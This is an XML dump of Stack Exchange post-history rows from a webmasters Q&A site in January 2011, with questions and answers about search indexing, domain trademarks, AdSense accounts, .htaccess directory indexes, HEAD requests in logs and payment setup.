  <row Id="15047" PostHistoryTypeId="2" PostId="7446" RevisionGUID="0790126d-12f0-4c6e-a65a-665ef166de5a" CreationDate="2011-01-07T05:22:08.873" UserId="3707" Text="You can use godaddy freely to do the transfer.&#xD;&#xA;How ever to receive and give payments you can use escrow.com to prevent fraud.&#xD;&#xA;https://www.escrow.com/index.asp&#xD;&#xA;&#xD;&#xA;good luck." />
  <row Id="15049" PostHistoryTypeId="2" PostId="7447" RevisionGUID="b910dea9-9436-4c77-b18b-27f208475e97" CreationDate="2011-01-07T05:37:17.143" UserId="180" Text="You have two domains (therusticstone.com and earlz.biz.tm) pointing to the same content.  Google has decided that one of them is authoritative.  If you want to &quot;fix&quot; this, you'll need to look into implementing something (301 redirects, canonical meta tag, etc) to tell google that the second domain is actually the canonical version." />
  <row Id="15050" PostHistoryTypeId="5" PostId="7443" RevisionGUID="142c9b69-ff91-4997-add3-6d37ac9e6e75" CreationDate="2011-01-07T06:14:05.570" UserId="513" Comment="added 347 characters in body" Text="So I have had a website since about 2006. It's http://earlz.biz.tm . Recently I've noticed that no results will show up for it in google. I do have a secondary domain(that I plan on getting rid of) pointing to it but I don't understand why google would suddenly not show my site.&#xD;&#xA;&#xD;&#xA;I believe it was showing up a few months ago and my website is hardly ever down, like one or two days I believe has been the most it's been down in a row in this time period. &#xD;&#xA;&#xD;&#xA;Is there something wrong with my DNS or other configuration that would make google not index me? &#xD;&#xA;&#xD;&#xA;For reference I've tried:&#xD;&#xA;&#xD;&#xA;[earlz.biz.tm][1]&#xD;&#xA;&#xD;&#xA;[site:earlz.biz.tm][2]&#xD;&#xA;&#xD;&#xA;and the heading from my site [&quot;Earlz.biz.tm -- The reasoning is bacon&quot;][3]&#xD;&#xA;&#xD;&#xA;A few show up with the therusticstone.com domain(the one I plan to point somewhere else) but none show up directly linking to earlz.biz.tm. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ok, I got my site verified and such and it says there are zero crawls and all that. When going to the Lab's feature &quot;Fetch As Google Bot&quot; I found the problem. I tried to simply do http://earlz.biz.tm and it said &quot;DNS not found.&quot; I don't see any obvious problems with my DNS records though and I haven't changed them in months&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=earlz.biz.tm&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec&#xD;&#xA;  [2]: http://www.google.com/#sclient=psy&amp;hl=en&amp;q=site:earlz.biz.tm&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec&#xD;&#xA;  [3]: http://www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=%22Earlz.biz.tm+--+The+reasoning+is+bacon+%22&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec" />
  <row Id="15051" PostHistoryTypeId="2" PostId="7448" RevisionGUID="be7fbdbe-c565-45eb-944e-3be48c636e6a" CreationDate="2011-01-07T09:15:32.250" UserId="2739" Text="Thanks for your comments - the page is now back up and running, but I am not certain why.&#xD;&#xA;&#xD;&#xA;My theory is that I actually fixed it by deleting the .htaccess file which I removed from the root of `/public_html` and assumed would be recreated by Wordpress.&#xD;&#xA;&#xD;&#xA;It's not been replaced in the `/public_html` folder, but without me noticing a .htaccess file was created in the `/public_html/blog` folder (where the blog is kept).&#xD;&#xA;&#xD;&#xA;As I didn't notice this at first I can't be certain this was the solution, but it is my best guess." />
  <row Id="15053" PostHistoryTypeId="2" PostId="7450" RevisionGUID="298b950a-4b64-4462-95fa-3bfc38624b25" CreationDate="2011-01-07T10:42:36.187" UserId="1597" Text="I recently purchased one of those domain names like del.ico.us. While registering I found that delicious.com was being used.&#xD;&#xA;&#xD;&#xA;**Argument:**&#xD;&#xA;&#xD;&#xA;I found that delicious.com belonged to the same category as my to-be website. It served premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Counter Argument:** &#xD;&#xA;&#xD;&#xA;My to-be domain though belonging to the same category, specialized in serving free but delicious dishes or in giving out links(affiliate) to other sites serving premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Additional Counter Arguments:**&#xD;&#xA;&#xD;&#xA;1.delicious.com was not in English.&#xD;&#xA;&#xD;&#xA;2.the del.icio.us in my domain name though having the same spelling, is not going to be used in the same fashion. For eg.(this may not make sense, because the names have been changed)the d in delicious on my website actually stands for the greek letter  Delta(Δ/δ) and since internationalized domains are still not easily typable, I am going for the english equivalent.The prefix holds importance for the theme of the service which my website intends to offer. &#xD;&#xA;&#xD;&#xA;**My Question:**&#xD;&#xA;&#xD;&#xA;Can I use the domain name del.icio.us for my website?&#xD;&#xA;&#xD;&#xA;How are these kinds of matters dealt?&#xD;&#xA;&#xD;&#xA;(The domain names used are fictitious. And I have already registered the domain but have not started using it.I chanced upon this domain name because it was short, easy to remember and suited the theme of my website.)" />
  <row Id="15054" PostHistoryTypeId="1" PostId="7450" RevisionGUID="298b950a-4b64-4462-95fa-3bfc38624b25" CreationDate="2011-01-07T10:42:36.187" UserId="1597" Text="Domains with similar names and issues" />
  <row Id="15055" PostHistoryTypeId="3" PostId="7450" RevisionGUID="298b950a-4b64-4462-95fa-3bfc38624b25" CreationDate="2011-01-07T10:42:36.187" UserId="1597" Text="&lt;domain-names&gt;" />
  <row Id="15056" PostHistoryTypeId="2" PostId="7451" RevisionGUID="bb663dfe-95d1-49e4-bc4c-9de11c9ec7ba" CreationDate="2011-01-07T10:50:01.543" UserId="1423" Text="Does anyone know a script to grab all contents of a site from google cache?" />
  <row Id="15057" PostHistoryTypeId="1" PostId="7451" RevisionGUID="bb663dfe-95d1-49e4-bc4c-9de11c9ec7ba" CreationDate="2011-01-07T10:50:01.543" UserId="1423" Text="google cache grabber" />
  <row Id="15058" PostHistoryTypeId="3" PostId="7451" RevisionGUID="bb663dfe-95d1-49e4-bc4c-9de11c9ec7ba" CreationDate="2011-01-07T10:50:01.543" UserId="1423" Text="&lt;google&gt;&lt;cache&gt;" />
  <row Id="15059" PostHistoryTypeId="2" PostId="7452" RevisionGUID="164225af-583d-468f-b3b6-d1955a9df581" CreationDate="2011-01-07T11:38:20.830" UserId="233" Text="It's possible that the `biz.tm` domain has been flagged by Google for spam or malware, reducing its search engine ranking. If that site gives away free subdomains then a different subdomain could have been flagged, thus knocking out the entire domain.&#xD;&#xA;&#xD;&#xA;As far as I can tell, `.biz.tm` is not a top level domain, only `.tm` is (which incidentally is the country code for Turkmenistan). Something similar happened with the `gb.com` domain - many people bought subdomains thinking they were legitimate TLDs and the entire domain got wiped out of Google.&#xD;&#xA;&#xD;&#xA;Although your exact problem may be something a little different to this, I would suggest switching to your dotcom domain; you will almost certainly rank much better. You could even buy earlz.com or earlzbiz.com, if available, so it's easier for users to remember the new domain." />
  <row Id="15060" PostHistoryTypeId="2" PostId="7453" RevisionGUID="d48681af-6965-45b2-a0c2-44a40e497901" CreationDate="2011-01-07T12:04:10.333" UserId="233" Text="To answer your first question: with a normal page request (GET), the server returns some header information containing the page encoding, language and various other details. The page's content (`&lt;!DOCTYPE html....`) then follows as normal.&#xD;&#xA;&#xD;&#xA;HEAD requests are simply requests for a URL that only return the header information. I believe this is normally used to check the status of files, for example seeing if a cached image should be updated. It's also useful for validating that you implemented certain features correctly like gzip or caching." />
  <row Id="15061" PostHistoryTypeId="4" PostId="5127" RevisionGUID="f99812ee-d48c-46e2-a206-fb70c19623b7" CreationDate="2011-01-07T12:11:14.123" UserId="233" Comment="edited title" Text="Can I have multiple Adsense accounts? " />
  <row Id="15062" PostHistoryTypeId="4" PostId="7450" RevisionGUID="6546b827-c13f-4c6c-b7d2-823b08504111" CreationDate="2011-01-07T12:35:03.033" UserId="1597" Comment="edited title; added 1 characters in body" Text="Domains with similar names and legal issues" />
  <row Id="15063" PostHistoryTypeId="5" PostId="7450" RevisionGUID="6546b827-c13f-4c6c-b7d2-823b08504111" CreationDate="2011-01-07T12:35:03.033" UserId="1597" Comment="edited title; added 1 characters in body" Text="I recently purchased one of those domain names like del.icio.us. While registering I found that delicious.com was being used.&#xD;&#xA;&#xD;&#xA;**Argument:**&#xD;&#xA;&#xD;&#xA;I found that delicious.com belonged to the same category as my to-be website. It served premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Counter Argument:** &#xD;&#xA;&#xD;&#xA;My to-be domain though belonging to the same category, specialized in serving free but delicious dishes or in giving out links(affiliate) to other sites serving premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Additional Counter Arguments:**&#xD;&#xA;&#xD;&#xA;1.delicious.com was not in English.&#xD;&#xA;&#xD;&#xA;2.the del.icio.us in my domain name though having the same spelling, is not going to be used in the same fashion. For eg.(this may not make sense, because the names have been changed)the d in delicious on my website actually stands for the greek letter  Delta(Δ/δ) and since internationalized domains are still not easily typable, I am going for the english equivalent.The prefix holds importance for the theme of the service which my website intends to offer. &#xD;&#xA;&#xD;&#xA;**My Question:**&#xD;&#xA;&#xD;&#xA;Can I use the domain name del.icio.us for my website?&#xD;&#xA;&#xD;&#xA;How are these kinds of matters dealt?&#xD;&#xA;&#xD;&#xA;(The domain names used are fictitious. And I have already registered the domain but have not started using it.I chanced upon this domain name because it was short, easy to remember and suited the theme of my website.)" />
  <row Id="15064" PostHistoryTypeId="2" PostId="7454" RevisionGUID="19891aaa-0859-47d1-9530-77762c50bc5e" CreationDate="2011-01-07T13:17:37.740" UserId="1597" Text="After going through the [original source of the question][1], OP wanted to ask whether&#xD;&#xA;&#xD;&#xA;&gt; Can i will have adsense multiple&#xD;&#xA;&gt; account **difference name and address**&#xD;&#xA;&gt; but same surname ?&#xD;&#xA; &#xD;&#xA;**Two different names** and **addresses** are essentially **two different people**, and a lot of people share surnames.&#xD;&#xA;&#xD;&#xA;I may as well add that two siblings may(?) be allowed to have two adsense accounts for different names but same address. So different names but same addresses may(?) also do.&#xD;&#xA;&#xD;&#xA;But if you are impersonating someone else and are creating accounts under different names and address for your own use then it is not permissible.&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA;https://www.google.com/adsense/localized-terms&#xD;&#xA;&#xD;&#xA;http://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=9729&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/revisions/baba2e47-24b3-4635-8cbb-0878d2d40f19/view-source" />
  <row Id="15065" PostHistoryTypeId="2" PostId="7455" RevisionGUID="d0263e7b-880f-4580-b129-65ee36ef9333" CreationDate="2011-01-07T13:26:23.890" UserId="221" Text="There have been several instances where domains of trademarked terms (or terms similar to trademarks, e.g. typo-squatting) have been reassigned to the owner of the trademark.&#xD;&#xA;&#xD;&#xA;Typically, this has been done when the domain was being used in a manner that might confuse customers into thinking it was affiliated with the trademark in question.&#xD;&#xA;&#xD;&#xA;Whether or not this is a concern for you depends on several things. You've already admitted to operating in the same general market as the other domain (so trademark law applies, it wouldn't if you were in a totally unrelated market).&#xD;&#xA;&#xD;&#xA;The fact that the other site does not use English probably (?) means that you are each targeting a different audience, possibly located in different countries which will work in your favor.&#xD;&#xA;&#xD;&#xA;How well established the other domain is, will also be a factor. If they are a newcomer then they are unlikely to pursue the matter (or indeed have the resources to pursue even if they would like to). However, if they've been around for awhile and have a relatively successful site, they may be more inclined to protect their business.&#xD;&#xA;&#xD;&#xA;However, the only way to be sure of your legal standing is to **consult a legal professional**." />
  <row Id="15066" PostHistoryTypeId="2" PostId="7456" RevisionGUID="1b3ec19f-a3f3-403e-b865-531b7ef6b791" CreationDate="2011-01-07T13:30:05.660" UserId="4373" Text="I am seeing wildly different performance from a clients web site, and would like to set up some sort of monitoring.&#xD;&#xA;&#xD;&#xA;What I'm looking for is a service that will issue requests to a couple of URLs, and report on the time it took to process the page - [TTFB][1] and time to download the entire page - that means I need something that will process javascript &amp; css.&#xD;&#xA;&#xD;&#xA;Are there services like this?  I've seen a few that monitor uptime, but they don't seem to report on the overall page performance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Time_To_First_Byte" />
  <row Id="15067" PostHistoryTypeId="1" PostId="7456" RevisionGUID="1b3ec19f-a3f3-403e-b865-531b7ef6b791" CreationDate="2011-01-07T13:30:05.660" UserId="4373" Text="Service and/or tool to monitor performance?" />
  <row Id="15068" PostHistoryTypeId="3" PostId="7456" RevisionGUID="1b3ec19f-a3f3-403e-b865-531b7ef6b791" CreationDate="2011-01-07T13:30:05.660" UserId="4373" Text="&lt;performance&gt;&lt;monitoring&gt;" />
  <row Id="15069" PostHistoryTypeId="4" PostId="7450" RevisionGUID="cea509f6-b046-4285-9818-3018b24662a5" CreationDate="2011-01-07T13:31:51.557" UserId="1597" Comment="edited title" Text="Domains with similar names and issues" />
  <row Id="15070" PostHistoryTypeId="2" PostId="7457" RevisionGUID="ea937c1f-e14a-4ff8-a1f4-1d659301f850" CreationDate="2011-01-07T13:49:00.470" UserDisplayName="Sam3" Text="as Wordpress 2.9 comes with built in post thumbnail features, is it necessary to use Timthumb ?" />
  <row Id="15071" PostHistoryTypeId="1" PostId="7457" RevisionGUID="ea937c1f-e14a-4ff8-a1f4-1d659301f850" CreationDate="2011-01-07T13:49:00.470" UserDisplayName="Sam3" Text="Is it necessary to use Timthumb in Wordpress 2.9+  ?" />
  <row Id="15072" PostHistoryTypeId="3" PostId="7457" RevisionGUID="ea937c1f-e14a-4ff8-a1f4-1d659301f850" CreationDate="2011-01-07T13:49:00.470" UserDisplayName="Sam3" Text="&lt;wordpress&gt;&lt;post&gt;" />
  <row Id="15073" PostHistoryTypeId="17" PostId="7457" RevisionGUID="b0fc2499-405d-4547-8c00-6b5a976f4546" CreationDate="2011-01-07T13:57:45.167" UserId="-1" Comment="from http://stackoverflow.com/questions/4626082/is-it-necessary-to-use-timthumb-in-wordpress-2-9" Text="" />
  <row Id="15074" PostHistoryTypeId="2" PostId="7458" RevisionGUID="81509b68-63b9-4c8c-b1a9-0c85d42c23e3" CreationDate="2011-01-07T14:32:38.877" UserId="2293" Text="I think you can try [JMeter][1], which is an HTTP performance tool.&#xD;&#xA;&#xD;&#xA;It is not so user friendly, as you should learn how to code test cases, but it is complete and consistent enough, and also has some good performance graphs in output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jakarta.apache.org/jmeter/" />
  <row Id="15075" PostHistoryTypeId="2" PostId="7459" RevisionGUID="df7f8a2c-7239-41a6-afda-b7ee0a9d7890" CreationDate="2011-01-07T15:23:26.917" UserDisplayName="JP19" Text="I recently researched on this topic. Accoding to my understanding, you can have multiple accounts if&#xD;&#xA;&#xD;&#xA;1) The addresses are different &#xD;&#xA;&#xD;&#xA; OR&#xD;&#xA;&#xD;&#xA;2) Each account is a separate company / firm (even if they have same address).&#xD;&#xA;&#xD;&#xA;(Thus you can have 1 individual + any number of company accounts at same address).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You cannot have multiple &quot;individual&quot; (non company) accounts at same address even for family members.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Do confirm all of this in google TOS though." />
  <row Id="15076" PostHistoryTypeId="2" PostId="7460" RevisionGUID="9a5f7567-2d98-4588-b64b-89aa928dde2e" CreationDate="2011-01-07T15:36:36.347" UserId="3903" Text="why not try http://host-tracker.com/ :)" />
  <row Id="15077" PostHistoryTypeId="2" PostId="7461" RevisionGUID="b33d6d71-5a0a-40ff-8ee7-4a7ad0751ff9" CreationDate="2011-01-07T15:46:39.540" UserId="4437" Text="I've got a fair amount of website development experience, but I've been asked to setup a conference registration page in short order. However, I have absolutely zero experience with shopping carts, payment processing, etc. What is the absolutely quickest and easiest way to get this thing up and running?&#xD;&#xA;&#xD;&#xA;Here are my criteria:&#xD;&#xA;&#xD;&#xA;1. Site is currently hosted on Godaddy.com and someone has suggested using their QuickCart &#xD;&#xA;2. We cannot use any option that visits the paypal.com domain because it has been blocked my a large segment of the potential audience (on a military base).&#xD;&#xA;3. Need a $0 option for speakers&#xD;&#xA;4. Cancellations can be accepted, so maybe something that could handle that would be a bonus&#xD;&#xA;5. There is no &quot;product&quot; other than a confirmation that they have registered for the conference." />
  <row Id="15078" PostHistoryTypeId="1" PostId="7461" RevisionGUID="b33d6d71-5a0a-40ff-8ee7-4a7ad0751ff9" CreationDate="2011-01-07T15:46:39.540" UserId="4437" Text="Easiest solution to setup payments for a conference registration page?" />
  <row Id="15079" PostHistoryTypeId="3" PostId="7461" RevisionGUID="b33d6d71-5a0a-40ff-8ee7-4a7ad0751ff9" CreationDate="2011-01-07T15:46:39.540" UserId="4437" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;godaddy&gt;" />
  <row Id="15080" PostHistoryTypeId="17" PostId="7463" RevisionGUID="65a0ecff-c1b1-485d-a32b-0253a84424b7" CreationDate="2011-01-07T16:12:01.590" UserId="-1" Comment="from http://superuser.com/questions/230285/where-can-i-get-apple-logo-with-free-license/230289#230289" Text="" />
  <row Id="15081" PostHistoryTypeId="2" PostId="7463" RevisionGUID="7da7f051-5d99-4aa0-a4ce-6770001b9251" CreationDate="2011-01-07T15:58:21.717" UserId="3263" Text="I believe that using icons to show OS compatibility would fall under fair use. Just use this logo: http://en.wikipedia.org/wiki/File:Apple-logo.png" />
  <row Id="15082" PostHistoryTypeId="2" PostId="7462" RevisionGUID="f1249484-2f9d-41bf-b09a-39b18d22f95d" CreationDate="2011-01-07T15:44:52.360" UserDisplayName="Liad" Text="I am working on a site that provide free tools, some of the tools are multi-platform and therefore I want to put the Icon of each OS, I already got linux icon and windows icon with free license but I couldnt find the apple one.&#xD;&#xA;&#xD;&#xA;does anyone know where can I get it from?&#xD;&#xA;&#xD;&#xA;thank you." />
  <row Id="15083" PostHistoryTypeId="1" PostId="7462" RevisionGUID="f1249484-2f9d-41bf-b09a-39b18d22f95d" CreationDate="2011-01-07T15:44:52.360" UserDisplayName="Liad" Text="Where can I get Apple logo with free license" />
  <row Id="15084" PostHistoryTypeId="3" PostId="7462" RevisionGUID="f1249484-2f9d-41bf-b09a-39b18d22f95d" CreationDate="2011-01-07T15:44:52.360" UserDisplayName="Liad" Text="&lt;apple&gt;&lt;icon&gt;" />
  <row Id="15085" PostHistoryTypeId="17" PostId="7462" RevisionGUID="f236fea9-fa8e-4512-a2bc-0894261b3a04" CreationDate="2011-01-07T16:12:01.590" UserId="-1" Comment="from http://superuser.com/questions/230285/where-can-i-get-apple-logo-with-free-license" Text="" />
  <row Id="15087" PostHistoryTypeId="2" PostId="7465" RevisionGUID="4d97c390-2b43-47a8-a18a-c82c8fc17ee7" CreationDate="2011-01-07T16:41:41.213" UserId="4440" Text="Logos are covered under trademark rather than copyright, and trademark works a little differently (at least in the US) &amp;mdash; as long as you use the mark in a way that will not confuse the consumer to believe that your good or service is really produced by or directly associated with the owner of the mark, you can just use the mark without a license.  " />
  <row Id="15088" PostHistoryTypeId="2" PostId="7466" RevisionGUID="f06ee0d6-b44f-4547-be87-d42108283cde" CreationDate="2011-01-07T17:55:45.253" UserId="4367" Text="I am working on a site that where I do not have permission to the server and someone else keeps changing the settings. That person just changed the settings preventing users from going to example.com/foo/ and seeing the index page. &#xD;&#xA;&#xD;&#xA;&gt; This Virtual Directory does not allow contents to be listed.&#xD;&#xA;&#xD;&#xA;If you type in example.com/foo/index.html you can still see the file.&#xD;&#xA;&#xD;&#xA;So I want to use htaccess to redirect all urls that end in a directory to change into directory/index.html How do I write that?&#xD;&#xA;&#xD;&#xA;I started with some code that changes .php files to .html files and tried to work from that but I couldn't quite get it to work.&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)\.php$ /$1.html [R=301,L]&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="15089" PostHistoryTypeId="1" PostId="7466" RevisionGUID="f06ee0d6-b44f-4547-be87-d42108283cde" CreationDate="2011-01-07T17:55:45.253" UserId="4367" Text="HTAccess redirect directories to index.html" />
  <row Id="15090" PostHistoryTypeId="3" PostId="7466" RevisionGUID="f06ee0d6-b44f-4547-be87-d42108283cde" CreationDate="2011-01-07T17:55:45.253" UserId="4367" Text="&lt;htaccess&gt;&lt;directory&gt;" />
  <row Id="15097" PostHistoryTypeId="5" PostId="7435" RevisionGUID="41b768d1-baa7-484d-a8fa-6b01fed9c27c" CreationDate="2011-01-07T18:39:22.937" UserDisplayName="Don Corley" Comment="added 23 characters in body" Text="My access log on my web server has a ton of http HEAD requests coming from porn sites.&#xD;&#xA;What are HEAD requests and are they doing something bad with my site?&#xD;&#xA;Here is an excerpt from my log:&#xD;&#xA;&#xD;&#xA;(valid request)&#xD;&#xA;&lt;pre&gt;xxx.xxx.xxx.xxx - - [02/Jan/2011:23:42:25 -0800] &quot;POST /ajax HTTP/1.1&quot; 200 0 &quot;http://www.mywebsite.com/abc.html&quot; &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7&quot;&#xD;&#xA;(weird requests)&#xD;&#xA;xxx.xxx.xxx.xxx - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD / HTTP/1.0&quot; 302 185 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&#xD;&#xA;xxx.xxx.xxx.xxx - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD /valid.html HTTP/1.0&quot; 200 16871 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I changed the web and ip addresses in this log.&#xD;&#xA;&#xD;&#xA;Thanks for any ideas,&#xD;&#xA;&#xD;&#xA;Don&#xD;&#xA;" />
  <row Id="15098" PostHistoryTypeId="2" PostId="7468" RevisionGUID="44fe9901-f622-4553-ba12-ec2f250e97ff" CreationDate="2011-01-07T19:43:51.807" UserId="1064" Text="What you're looking for is not a `mod_rewrite` directive - take a look at the [Apache `mod_dir` documentation][1] - something like this should be a good start for your `.htaccess` file:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.php index.html index.htm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_dir.html" />
  <row Id="15099" PostHistoryTypeId="2" PostId="7469" RevisionGUID="9df01741-9536-4429-8988-1c4b71de696b" CreationDate="2011-01-07T20:26:09.637" UserId="4447" Text="A certificate authority should not care whether or not you have a publically viewable HTTPS site for the common name you're requesting." />
  <row Id="15100" PostHistoryTypeId="2" PostId="7470" RevisionGUID="d96c740a-cace-423b-93e7-be7ea5cc0f14" CreationDate="2011-01-07T21:37:34.190" UserId="1883" Text="There are other solutions outside of PayPal. Some of these services are Google Chekcout, AlertPay, and the Amazon solution. I found a short list on a yahoo answers. http://answers.yahoo.com/question/index?qid=20080426201334AAk532G.&#xD;&#xA;&#xD;&#xA;As for development GoDaddy services usually support PHP and their are code samples on the service providers site. There are also hundreds of opensource checkout (that use providers like PayPal) you can look into. The Apache Open For Business is a nice one, haven't used it through it has pulled my attention.&#xD;&#xA;&#xD;&#xA;In the since for the conference confirmation, you might be better off using the &quot;Click to Pay&quot; buttons on the Google Checkout site. " />
  <row Id="15101" PostHistoryTypeId="17" PostId="7472" RevisionGUID="b3e62cc8-4da5-46fb-b1c9-06e966bcf39c" CreationDate="2011-01-07T21:39:49.893" UserId="-1" Comment="from http://stackoverflow.com/questions/4630317/search-engine-for-website/4630515#4630515" Text="" />
  <row Id="15102" PostHistoryTypeId="2" PostId="7472" RevisionGUID="657ffc06-8b53-4108-bea1-226a836f240d" CreationDate="2011-01-07T21:33:28.853" UserDisplayName="Backslap Search Engine" Text="You would not be able to use JavaScript,( I know that you mentioned that because CSE uses it, but it would be ineffective in retriving from a database really,) you would have to use PHP or ASP.NET etc. Unless you are good at these, i would advise not to do it as you need to create a crawler aswell, which is pretty advanced. &#xD;&#xA;If you are still on, there are many youtube videos and online tutorials that may help you, it would also have been easier if you had been a bit clearer about your abilities and your targets and aims&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;Niall" />
  <row Id="15103" PostHistoryTypeId="2" PostId="7471" RevisionGUID="af9a46c6-1510-4ef5-b87d-0f3242e9717a" CreationDate="2011-01-07T21:10:36.067" UserDisplayName="golf_nut" Text="Does anybody have any recommendations for a search engine that I can use for my website. I currently use Google CSE, but am wondering if there is anything better. &#xD;&#xA;&#xD;&#xA;I want to be able to have the search results display certain data such as an image, header, information, etc...&#xD;&#xA;&#xD;&#xA;I would prefer something that I have some familiarity with such as javascript but I'm open to all suggestions. &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="15104" PostHistoryTypeId="1" PostId="7471" RevisionGUID="af9a46c6-1510-4ef5-b87d-0f3242e9717a" CreationDate="2011-01-07T21:10:36.067" UserDisplayName="golf_nut" Text="Search engine for website" />
  <row Id="15105" PostHistoryTypeId="3" PostId="7471" RevisionGUID="af9a46c6-1510-4ef5-b87d-0f3242e9717a" CreationDate="2011-01-07T21:10:36.067" UserDisplayName="golf_nut" Text="&lt;javascript&gt;&lt;search-engines&gt;" />
  <row Id="15106" PostHistoryTypeId="17" PostId="7471" RevisionGUID="56209687-1d75-4769-a347-9226191aceee" CreationDate="2011-01-07T21:39:49.893" UserId="-1" Comment="from http://stackoverflow.com/questions/4630317/search-engine-for-website" Text="" />
  <row Id="15107" PostHistoryTypeId="2" PostId="7473" RevisionGUID="0b3d8347-5919-4de2-89d5-90c87157e1f5" CreationDate="2011-01-07T21:55:24.243" UserId="3748" Text="So I have a great idea for a new website. However, not the time to develop it.  &#xD;&#xA;&#xD;&#xA;I would like to hire a person or company to design it for me.&#xD;&#xA;&#xD;&#xA;What steps do I need to take, to protect my idea?  &#xD;&#xA;&#xD;&#xA;Where and how do people protect website ideas in general?  &#xD;&#xA;&#xD;&#xA;Also, how easy is it for someone to tweak the idea and make it legally heir own? Is a patent enough to protect such a thing, idea. Are there different levels or types of protection? &#xD;&#xA;&#xD;&#xA;Thank You.  " />
  <row Id="15108" PostHistoryTypeId="1" PostId="7473" RevisionGUID="0b3d8347-5919-4de2-89d5-90c87157e1f5" CreationDate="2011-01-07T21:55:24.243" UserId="3748" Text="How do I make sure the web developer I hire will not steal my idea?" />
  <row Id="15109" PostHistoryTypeId="3" PostId="7473" RevisionGUID="0b3d8347-5919-4de2-89d5-90c87157e1f5" CreationDate="2011-01-07T21:55:24.243" UserId="3748" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;legal&gt;&lt;idea&gt;" />
  <row Id="15110" PostHistoryTypeId="2" PostId="7474" RevisionGUID="7a7a320f-53ee-49d6-903d-4c21afdee1e2" CreationDate="2011-01-07T22:16:30.430" UserId="1064" Text="&gt; What steps do I need to take, to&#xD;&#xA;&gt; protect my idea?&#xD;&#xA;&#xD;&#xA;I am not a lawyer, but I would bet you'll want a contract with a [non-compete clause][1] - you will have to talk to a laywer to get relevant answers to the rest of your questions, as the law will vary by jurisdiction and you'll certainly need representation if there is a breach of contract.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Non-compete_clause" />
  <row Id="15112" PostHistoryTypeId="2" PostId="7475" RevisionGUID="32ffc68e-424f-4e16-9f0e-6ed05225dd52" CreationDate="2011-01-07T23:15:35.357" UserId="2293" Text="This is complicate. You should follow @danlefree points, but there are a few things you should have in mind.&#xD;&#xA;&#xD;&#xA;You can hire someone and enforce this person/entity to not compete with you using the same idea, but you can't have 100% sure this person entity will not inform same things to other people/entities and share the incoming from there. Think in another country for example. You can have a great idea, hire people to develop it, then this people/entity makes the same thing thourgh a business partner, but on another country. Yeap, seems paranoia, but can happen.&#xD;&#xA;&#xD;&#xA;In the other hand is: what if only you think your idea is great? There are people - like me for example - who is only interested on developing stuff, not making business. I had a client like you once.&#xD;&#xA;&#xD;&#xA;Really, the guy was overconcerned with the idea I would not engage in a compete with him. In my point of view, it was an interesting project, but my pleasure is write, run, test and deploy, not making calls and paying lunches with boring clients." />
  <row Id="15113" PostHistoryTypeId="2" PostId="7476" RevisionGUID="54611c58-098a-4ec0-aa9f-4326a14f93a3" CreationDate="2011-01-08T00:36:51.323" UserId="2070" Text="I'm running business directory for tourist attractions, and I would like to fill some empty blocks with useful advertisements like flight operators, car retailers, luxury goods etc.&#xD;&#xA;&#xD;&#xA;We have tried Google AdSense but it's full of cheap, pointless and irrelevant advertisement that would make our website look cheap and bad.&#xD;&#xA;&#xD;&#xA;So I'm curious is there any centralised resources for luxury goods and services?" />
  <row Id="15114" PostHistoryTypeId="1" PostId="7476" RevisionGUID="54611c58-098a-4ec0-aa9f-4326a14f93a3" CreationDate="2011-01-08T00:36:51.323" UserId="2070" Text="Where can I find luxury goods advertisements for my website?" />
  <row Id="15115" PostHistoryTypeId="3" PostId="7476" RevisionGUID="54611c58-098a-4ec0-aa9f-4326a14f93a3" CreationDate="2011-01-08T00:36:51.323" UserId="2070" Text="&lt;advertising&gt;" />
